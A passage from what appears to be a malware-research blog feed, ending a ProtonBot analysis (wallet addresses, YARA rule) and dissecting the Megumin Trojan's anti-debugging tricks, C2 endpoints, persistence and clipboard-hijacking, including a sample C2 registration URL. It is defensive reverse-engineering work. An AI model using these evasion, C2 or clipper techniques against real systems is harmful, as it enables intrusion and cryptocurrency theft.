JsddmDx6A&lt;/li&gt;&#10;&#9;&lt;li&gt;XbQXtXndTXZkDfb7KD6TcHB59uGCitNSLz&lt;/li&gt;&#10;&#9;&lt;li&gt;LTwSJ4zE56vZhhFcYvpzmWZRSQBE7oMSUQ&lt;/li&gt;&#10;&#9;&lt;li&gt;t1bChFvRuKvwxFDkkm6r4xiASBiBBZ24L6h&lt;/li&gt;&#10;&#9;&lt;li&gt;1Da45bJx1kLL6G6Pud2uRu1RDCRAX3ZmAN&lt;/li&gt;&#10;&#9;&lt;li&gt;0xf7dd0fc161361363d79a3a450a2844f2a70907c6&lt;/li&gt;&#10;&#9;&lt;li&gt;D917yfzSoe7j2es8L3iDd3sRRxRtv7NWk8&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h3&gt;Threat Actor&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Glad0ff (Main)&lt;/li&gt;&#10;&#9;&lt;li&gt;ProtonSellet (Seller)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Yara&lt;/h2&gt;&#10;rule ProtonBot : ProtonBot {&#10;meta:&#10;description = "Detecting ProtonBot v1"&#10;author = "Fumik0_"&#10;date = "2019-05-24"&#10;&#10;strings:&#10;$mz = {4D 5A}&#10;&#10;$s1 = "proton bot" wide ascii&#10;$s2 = "Build.pdb" wide ascii&#10;$s3 = "ktmw32.dll" wide ascii&#10;$s4 = "json.hpp" wide ascii&#10;&#10;condition:&#10;$mz at 0 and (all of ($s*))&#10;}&#10;&lt;h2&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;&#10;Young malware means fresh content and with time and luck, could impact the malware landscape. This loader is cheap and will probably draw attention to some customers (or even already the case), to have less cost to maximize profits during attacks. ProtonBot is not a sophisticated malware but it's doing its job with extra modules for probably being more attractive. Let's see with the time how this one will evolve, but by seeing some kind of odd cases with plenty of different malware pushed by this one, that could be a scenario among others that we could see in the future.&#10;&#10;On my side, it's time to chill a little.&#10;&#10;&lt;img class=" size-full wp-image-770 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/05/protonbot-chill.webp" alt="chill" width="500" height="281" loading="lazy" decoding="async" /&gt;&#10;&#10;Special Thanks - S!ri &amp;amp; Snemes&#10;</description></item><item><title>Let's nuke Megumin Trojan</title><link>https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/</link><pubDate>Fri, 03 May 2019 11:05:02 +0000</pubDate><guid>https://fumik0.com/2019/05/03/lets-nuke-megumin-trojan/</guid><description>When you are a big fan of the &lt;a href="https://myanimelist.net/anime/30831/Kono_Subarashii_Sekai_ni_Shukufuku_wo"&gt;Konosuba&lt;/a&gt; franchise, you are a bit curious when you spot a malware called "Megumin Trojan" (Written in C++) on some selling forums and into some results of sandbox submissions. Before some speculation about when this malware has appeared, this one is not recent and there are some elements that prove it was present on the market since the beginning of 2018.&#10;&#10;Since the last days, there is an increased activity related to a new version that was probably launched not so long ago (a v2), and community started to talk about it, but a lot of them has misinterpretation with Vidar due to the utilization of the same boundary beacon string. This analysis will help you to definitely clarify how to spot and understand how Megumin Trojan is working and it definitely has a specific signature, that you can't miss it with you dig on it (for both network activities &amp;amp; code).&#10;&#10;This malware is a Trojan who has a bunch of features:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;DDoS&lt;/li&gt;&#10;&#9;&lt;li&gt;Miner&lt;/li&gt;&#10;&#9;&lt;li&gt;Clipper&lt;/li&gt;&#10;&#9;&lt;li&gt;Loader&lt;/li&gt;&#10;&#9;&lt;li&gt;Executing DOS commands on bots&lt;/li&gt;&#10;&#9;&lt;li&gt;Uploading specific files from bots to C&amp;amp;C&lt;/li&gt;&#10;&lt;/ul&gt;&#10;It's time to reverse a little all of that :)&#10;&lt;h2&gt;Anti-Analysis Techniques&lt;/h2&gt;&#10;&lt;h3&gt;The classy PEB&lt;/h3&gt;&#10;This malware is using one of the classiest tricks for detecting that the process is currently debugged, by checking a specific field into the &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winternl/ns-winternl-_peb"&gt;Process Environment Block&lt;/a&gt; (PEB). For those who are unfamiliar with this, it's a structure that contains all process information.&#10;&lt;pre&gt;&lt;span class="hljs-keyword"&gt;typedef&lt;/span&gt; &lt;span class="hljs-class"&gt;&lt;span class="hljs-keyword"&gt;struct&lt;/span&gt; _&lt;span class="hljs-title"&gt;PEB&lt;/span&gt; {&lt;/span&gt; &#10; BYTE Reserved1[&lt;span class="hljs-number"&gt;2&lt;/span&gt;]; &#10; BYTE BeingDebugged; // HERE&#10; ...&amp;lt; Other fields &amp;gt;...&#10; PVOID Reserved12[&lt;span class="hljs-number"&gt;1&lt;/span&gt;]; &#10; ULONG SessionId; &#10;} PEB, *PPEB;&lt;/pre&gt;&#10;For our case, the value "BeingDebugged" will be "obviously" checked. But how it looks like when reversing it? Here it's looking like this.&#10;&#10;&lt;img class=" size-full wp-image-673 alignnone" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-peb.webp" alt="Screenshot: Megumin peb" width="564" height="251" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;fs:[18] is where is located the &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-teb"&gt;Thread Environment Process &lt;/a&gt;(TEB)&lt;/li&gt;&#10;&#9;&lt;li&gt;ds:[eax+30] is necessary to have access into the PEB, that is part of the TEB.&lt;/li&gt;&#10;&#9;&lt;li&gt;ds[eax+2] remains to retrieve the value TEB.PEB.BeingDebugged&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-674 alignnone" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-peb-value.webp" alt="Screenshot: Megumin peb value" width="531" height="98" loading="lazy" decoding="async" /&gt;&#10;&#10;This one has been used multiple times during the execution process of Megumin Trojan.&#10;&lt;h3&gt;Window Title&lt;/h3&gt;&#10;This other trick used here is to get the title of the program and comparing it with a list of strings. For achieving it, the malware is calling &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getforegroundwindow"&gt;GetForegroundWindow&lt;/a&gt; at first for the Windows of the current process and then grabbing the title with the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getwindowtexta"&gt;GetWindowTextA&lt;/a&gt;.&#10;&#10;&lt;img class="alignnone size-full wp-image-675" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-anti-01.webp" alt="Screenshot: Megumin anti 01" width="535" height="124" loading="lazy" decoding="async" /&gt;&#10;&#10;&lt;img class="alignnone size-full wp-image-676" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-anti-02.webp" alt="Screenshot: Megumin anti 02" width="646" height="50" loading="lazy" decoding="async" /&gt;&#10;&#10;The comparison with the string is done step by step, by decrypting first the XOR string and comparing it with the Window Title, and continuing the functions until every value is checked.&#10;&#10;&lt;div class="gallery"&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2019/04/megumin-anti-03.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2019/04/megumin-anti-03.webp" alt="Anti-debugging process names checked by the trojan, first part" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2019/04/megumin-anti-04.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2019/04/megumin-anti-04.webp" alt="Anti-debugging process names checked by the trojan, end of the list" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;/div&gt;&#10;&#10;The completed string list :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;OllyDbg&lt;/li&gt;&#10;&#9;&lt;li&gt;IDA&lt;/li&gt;&#10;&#9;&lt;li&gt;ImmunityDebugger&lt;/li&gt;&#10;&#9;&lt;li&gt;inDb (Remain to WinDbg)&lt;/li&gt;&#10;&#9;&lt;li&gt;LordP (Remains to LordPE)&lt;/li&gt;&#10;&#9;&lt;li&gt;ireshark  (Remains to Wireshark)&lt;/li&gt;&#10;&#9;&lt;li&gt;HTTP Analyzer&lt;/li&gt;&#10;&lt;/ul&gt;&#10;This technique here is not able to work completely because it's checking the Windows Title of the current process used and so, some strings won't be able to work at all. When I was reversing it, I didn't understand at all why it was done like this, maybe something that was done fast or another unrelated explanation and we will never know.&#10;&lt;h3&gt;Dynamic Process Blacklist&lt;/h3&gt;&#10;When the malware is fully configured, it performs an HTTP POST request called /blacklist. The answer contains a list of processes that the attacker wants to kill whenever the payload is active, the content is encoded in base64 format.&#10;&#10;When processes are flagged as blacklisted, those are stored into variables as Process Handles, and they are checked and killed by a simple comparison. For terminating them the &lt;a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-zwterminateprocess"&gt;ZwTerminateProcess&lt;/a&gt; (or NtTerminateProcess if you are looking on a disassembler) API call is used and after the accomplishment of the task, the value on memory is initialized again to -1 for continuing, again and again, to maintain that these processes will never be able to be active whenever the malware is up.&#10;&#10;&lt;img class="alignnone size-full wp-image-696" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-blacklist-kill.webp" alt="Screenshot: Megumin blacklist kill" width="636" height="189" loading="lazy" decoding="async" /&gt;&#10;&#10;By default, all values are set to -1 (0xFFFFFFFF)&#10;&lt;h2&gt;Network interactions list&lt;/h2&gt;&#10;Megumin is quite noisy, in term of interactions between bots and the C&amp;amp;C, and the amount of API request is more than usual compared to the other malwares that I have  analyzed. So to make as much as possible simple and understandable, I classified them into three categories.&#10;&lt;h3&gt;General commands&lt;/h3&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="124"&gt;&lt;/colgroup&gt; &lt;colgroup width="344"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/suicide&lt;/td&gt;&#10;&lt;td align="left"&gt;Killing request&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/config&lt;/td&gt;&#10;&lt;td align="left"&gt;Malware config&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/msgbox&lt;/td&gt;&#10;&lt;td align="left"&gt;Fake message prompt window&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/isClipper&lt;/td&gt;&#10;&lt;td align="left"&gt;is Clipper activated&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/isUSB&lt;/td&gt;&#10;&lt;td align="left"&gt;Is set up to spread itself on removable drives&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/blacklist&lt;/td&gt;&#10;&lt;td align="left"&gt;Process blacklist&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/wallets&lt;/td&gt;&#10;&lt;td align="left"&gt;Wallet config for the clipper part&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/selfDel&lt;/td&gt;&#10;&lt;td align="left"&gt;Removing the payload of the original PE&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3&gt;Bot commands&lt;/h3&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="124"&gt;&lt;/colgroup&gt; &lt;colgroup width="344"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/addbot?hwid=&lt;/td&gt;&#10;&lt;td align="left"&gt;Add a new bot to the C&amp;amp;C (*)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/task?hwid=&lt;/td&gt;&#10;&lt;td align="left"&gt;Ask for a task&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/completed?hwid=&lt;/td&gt;&#10;&lt;td align="left"&gt;Tell the C&amp;amp;C that task has been done&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/gate?hwid=&lt;/td&gt;&#10;&lt;td align="left"&gt;Gate for uploading/stealing specific files from bot to C&amp;amp;C&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/reconnecttime&lt;/td&gt;&#10;&lt;td align="left"&gt;Amount of time for next request between bot and C&amp;amp;C&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;(*) Only when the User-Agent is strictly configured as "&lt;strong&gt;Megumin/2.0&lt;/strong&gt;"&#10;&lt;h3&gt;Miner commands&lt;/h3&gt;&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="124"&gt;&lt;/colgroup&gt; &lt;colgroup width="344"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/cpu&lt;/td&gt;&#10;&lt;td align="left"&gt;CPU Miner configuration&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/gpuAMD&lt;/td&gt;&#10;&lt;td align="left"&gt;GPU AMD Miner Configuration&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;/gpuNVIDIA&lt;/td&gt;&#10;&lt;td align="left"&gt;GPU NVIDIA Miner Configuration&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;em&gt;&lt;strong&gt;As a reminder, all response from the server are encoded in base64 with the only exception of the /config one, which is in clear.&lt;/strong&gt;&lt;/em&gt;&#10;&#10;Curiosity: This malware is also using the same boundary beacon as Vidar and some other malware.&#10;&lt;h2&gt;That "messy" setup&lt;/h2&gt;&#10;This trojan is quite curious about how it's deploying itself and the first time I was trying to understand the mess, I was like, seriously what the heck is wrong with the logic of this malware. After that, I thought it was just the only thing weird with megumin, but no. To complexify the setup, interactions with the C&amp;amp;C are different between different stages.&#10;&#10;For explaining everything, I decided to split it into multiple steps, to slowly understand the chronological order of it.&#10;&lt;h3&gt;Step 1&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;In the first request, the malware is downloading a payload named "reserv.exe". if this file is not empty it means the current payload is not the main build of the malware. reserv.exe is downloaded and saved into a specific folder hidden in %PROGRAMDATA% as "{MACHINE_GUID}" (for example &lt;em&gt;{656a1cdc-0ae0-40d0-a8bb-fdbd603c3b13}&lt;/em&gt;),this file at the end is renamed as "update.exe".&lt;/li&gt;&#10;&#9;&lt;li&gt;Then two or three requests are performed&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;/suicide&lt;/li&gt;&#10;&#9;&lt;li&gt;/msgbox&lt;/li&gt;&#10;&#9;&lt;li&gt;/selfDel (optional)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&#9;&lt;li&gt;A scheduled task is created with this specific pattern for the persistence, the name of the payload will be "update.exe" and another one on the registry.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;"Scheduled Updater - {*MACHINE_GUID*}"&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&#9;&lt;li style="text-align: left;"&gt;Then the payload is killed and removed&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;em&gt;Reminder: If the malware was not fast enough to download reserv.exe for whatever reasons, it is named by a random windows process name, and will continue the process over and over until it will grab reserv.exe&lt;/em&gt;&#10;&#10;&lt;em&gt;Curiosity: The way this malware is creating a folder into PROGRAMDATA is strictly the same way as Arkei, &lt;a href="https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/"&gt;Baldr&lt;/a&gt;, &lt;a href="https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/"&gt;Rarog&lt;/a&gt; &amp;amp; Supreme++ (Rarog fork, its tracker page is retired).&lt;/em&gt;&#10;&#10;Megumin&#10;&#10;&lt;img class="alignnone size-full wp-image-714" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-path.webp" alt="Screenshot: Megumin path" width="822" height="69" loading="lazy" decoding="async" /&gt;&#10;&#10;Arkei&#10;&#10;&lt;img class="alignnone size-full wp-image-713" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-arkei.webp" alt="Screenshot: Megumin arkei" width="844" height="56" loading="lazy" decoding="async" /&gt;&#10;&#10;Rarog&#10;&#10;&lt;img class="alignnone size-full wp-image-712" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-rarog.webp" alt="Screenshot: Megumin rarog" width="731" height="107" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Step 2&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;reserv.exe is again downloaded, and considering the file is empty, so at that time, the correct build for communicating with the C&amp;amp;C.&lt;/li&gt;&#10;&#9;&lt;li&gt;Those requests are performed&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;/suicide&lt;/li&gt;&#10;&#9;&lt;li&gt;/msgBox&lt;/li&gt;&#10;&#9;&lt;li&gt;/config&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;The config is the only request was the server is not encoding it in base64 format, there are 4 options possible.&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="124"&gt;&lt;/colgroup&gt; &lt;colgroup width="261"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Option 1&lt;/td&gt;&#10;&lt;td align="left"&gt;USB task (Spreading the build on removable drives)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Option 2&lt;/td&gt;&#10;&lt;td align="left"&gt;Clipper&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Option 3&lt;/td&gt;&#10;&lt;td align="left"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Option 4&lt;/td&gt;&#10;&lt;td align="left"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;A scheduled task is created with this specific pattern for the persistence and the name of the payload is at that time a random known legitimate windows process (also same thing on the registry).&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;"Scheduled Updater - {*MACHINE_GUID*}"&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&#9;&lt;li style="text-align: left;"&gt;Then the payload is killed and removed&lt;/li&gt;&#10;&lt;/ul&gt;&#10;If this file is empty, it's considered that it reached its final destination and its final C&amp;amp;C, so seeing two Megumin C&amp;amp;C on the same domain could be explainable by this (and It was the case on my side).&#10;&lt;h3&gt;Step 3&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;reserv.exe is always checked for checking if there is a new build&lt;/li&gt;&#10;&#9;&lt;li&gt;Now the behavior on the network flows is totally new. The bot is now way more talkative and is going to be fully set up and registered to the C&amp;amp;C.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;/suicide&lt;/li&gt;&#10;&#9;&lt;li&gt;/config&lt;/li&gt;&#10;&#9;&lt;li&gt;/addbot?hwid=...&amp;amp;..... # Registration&lt;/li&gt;&#10;&#9;&lt;li&gt;/blacklist&lt;/li&gt;&#10;&#9;&lt;li&gt;/wallets&lt;/li&gt;&#10;&#9;&lt;li&gt;/task?hwid=... # Performs a task&lt;/li&gt;&#10;&#9;&lt;li&gt;... a lot of possible tasks (explained below)&lt;/li&gt;&#10;&#9;&lt;li&gt;/completed?hwid=... # Alerting that the task is done&lt;/li&gt;&#10;&#9;&lt;li&gt;/reconnecttime&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;For the addbot part, the registration is requiring specific fields that will be all encoded in base64 format.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Machine GUID&lt;/li&gt;&#10;&#9;&lt;li&gt;Platform&lt;/li&gt;&#10;&#9;&lt;li&gt;Windows version&lt;/li&gt;&#10;&#9;&lt;li&gt;CPU Name&lt;/li&gt;&#10;&#9;&lt;li&gt;GPU Name&lt;/li&gt;&#10;&#9;&lt;li&gt;Antivirus&lt;/li&gt;&#10;&#9;&lt;li&gt;Filename (name of the megumin payload)&lt;/li&gt;&#10;&#9;&lt;li&gt;Username&lt;/li&gt;&#10;&lt;/ul&gt;&#10;example of request (Any.Run)&#10;&#10;&lt;em&gt;http://90551.prohoster.biz/megumin/addbot?hwid=OTAwNTljMzctMTMyMC00MWE0LWI1OGQtMmI3NWE5ODUwZDJm&amp;amp;bit=eDMy&amp;amp;win=V2luZG93cyA3IFByb2Zlc3Npb25hbA==&amp;amp;cpu=SW50ZWwoUikgQ29yZShUTSkgaTUtNjQwMCBDUFUgQCAyLjcwR0h6AAAAAAAAAAAA&amp;amp;gpu=U3RhbmRhcmQgVkdBIEdyYXBoaWNzIEFkYXB0ZXI=&amp;amp;av=VW5rbm93bg==&amp;amp;filename=Y3Nyc3MuZXhl&amp;amp;username=YWRtaW4=&lt;/em&gt;&#10;&lt;h3&gt;Step 4&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;reserv.exe is always checked for checking if there is a new build&lt;/li&gt;&#10;&#9;&lt;li&gt;If the bot is run after the registration, it will be possible to have this pattern of request&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;/suicide&lt;/li&gt;&#10;&#9;&lt;li&gt;/config&lt;/li&gt;&#10;&#9;&lt;li&gt;/task?hwid=... # Performs task&lt;/li&gt;&#10;&#9;&lt;li&gt;... a lot of possible tasks (explained below)&lt;/li&gt;&#10;&#9;&lt;li&gt;/completed?hwid=... # Alerting that the task is done&lt;/li&gt;&#10;&#9;&lt;li&gt;/reconnecttime&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Fake messages&lt;/h2&gt;&#10;As shown above, the malware has also a feature to prompt a fake window and this could be used for making "some realistic scenario" of a typical fake software, crack or other crapware, lure the user during the execution that the software has been installed or there is an error during the false installation or execution. It's really common to see nowadays fake prompt window for missing runtime DLL, or fake Fortnite hack or whatever Free Bitcoin trap generator, this kind of lure will always work in some kind of people, even more with kids.&#10;&#10;For configuring the feature, the bot is sending a specific HTTP POST Request named "/msgbox" and After decoding the base64 response from the server the response is split into multiple variables :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;An integer value that will represent the Icon of the Window&lt;/li&gt;&#10;&#9;&lt;li&gt;A second int value that will represent the buttons that will be used&lt;/li&gt;&#10;&#9;&lt;li&gt;The caption (Title)&lt;/li&gt;&#10;&#9;&lt;li&gt;The text that will be printed on the prompt window&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-691" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-msgbox.webp" alt="Screenshot: Megumin msgbox" width="1003" height="333" loading="lazy" decoding="async" /&gt;&#10;&#10;Corresponding case input codes with the configuration of the prompt window are classified below:&#10;&#10;uType - Uint Code - Icons - cases&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="124"&gt;&lt;/colgroup&gt; &lt;colgroup width="261"&gt;&lt;/colgroup&gt; &lt;colgroup width="274"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="center" height="17"&gt;Case Code&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="center"&gt;Value&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="center"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;1&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="right"&gt;0x00000020L&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="right"&gt;Question-mark message box&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="right"&gt;0x00000030L&lt;/td&gt;&#10;&lt;td align="right"&gt;Information message box&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;3&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="right"&gt;0x00000040L&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="right"&gt;Warning message box&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;uType - Uint Code - Buttons - cases&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="124"&gt;&lt;/colgroup&gt; &lt;colgroup width="261"&gt;&lt;/colgroup&gt; &lt;colgroup width="274"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="center" height="17"&gt;Case Code&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="center"&gt;Value&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="center"&gt;Meaning&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;0&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="left"&gt;0x00000002L&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="left"&gt;Abort, Retry &amp;amp; Ignore buttons&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;1&lt;/td&gt;&#10;&lt;td align="left"&gt;0x00000006L&lt;/td&gt;&#10;&lt;td align="left"&gt;Cancer, Try Again, Continue buttons&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;2&lt;/td&gt;&#10;&lt;td align="left"&gt;0x00004000L&lt;/td&gt;&#10;&lt;td align="left"&gt;Help button&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;3&lt;/td&gt;&#10;&lt;td align="left"&gt;0x00000000L&lt;/td&gt;&#10;&lt;td align="left"&gt;OK button&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;4&lt;/td&gt;&#10;&lt;td align="left"&gt;0x00000001L&lt;/td&gt;&#10;&lt;td align="left"&gt;OK &amp;amp; Cancel buttons&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;5&lt;/td&gt;&#10;&lt;td align="left"&gt;0x00000005L&lt;/td&gt;&#10;&lt;td align="left"&gt;Retry &amp;amp; Cancel buttons&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;6&lt;/td&gt;&#10;&lt;td align="left"&gt;0x00000004L&lt;/td&gt;&#10;&lt;td align="left"&gt;Yes &amp;amp; No buttons&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td style="text-align: left;" align="right" height="17"&gt;7&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="left"&gt;0x00000003L&lt;/td&gt;&#10;&lt;td style="text-align: left;" align="left"&gt;Yes, No &amp;amp; Cancel buttons&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2&gt;Clipper&lt;/h2&gt;&#10;Before that the malware is executing the main module, all the regexes that will be used for catching the whished data are stored dynamically into memory.&#10;&#10;&lt;img class="alignnone size-full wp-image-694" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-clipper-regex.webp" alt="Screenshot: Megumin clipper regex" width="671" height="106" loading="lazy" decoding="async" /&gt;&#10;&#10;Then when the malware is fully installed if the clipping feature is activated by the config request, another one called "/wallet" is performed. This command gives to the bot the list of all wallet configured to be clipped. the content is base64 encoded.&#10;&#10;At this point,  the classy infinite loop like &lt;a href="https://fumik0.com/2019/03/25/lets-play-with-qulab-an-exotic-malware-developed-in-autoit/"&gt;Qulab&lt;/a&gt; is performed and will remain the same until the program is killed or crashed.&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;The content of the clipboard is stored into a variable.&lt;/li&gt;&#10;&#9;&lt;li&gt;Step by step, all regexes are checking if it matches with the clipboard.&lt;/li&gt;&#10;&#9;&lt;li&gt;If one regex triggers something, the content on the clipboard is switched by the one that the attacker wants and some data are sent to the C&amp;amp;C.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;pre&gt;/newclip?hwid=XXX&amp;amp;type=XXX&amp;amp;copy=XXX&amp;amp;paste=XXX&amp;amp;date=XXX&lt;/pre&gt;&#10;The whole process of the clipper is representing like this.&#10;&#10;&lt;img class=" size-full wp-image-693 alignleft" 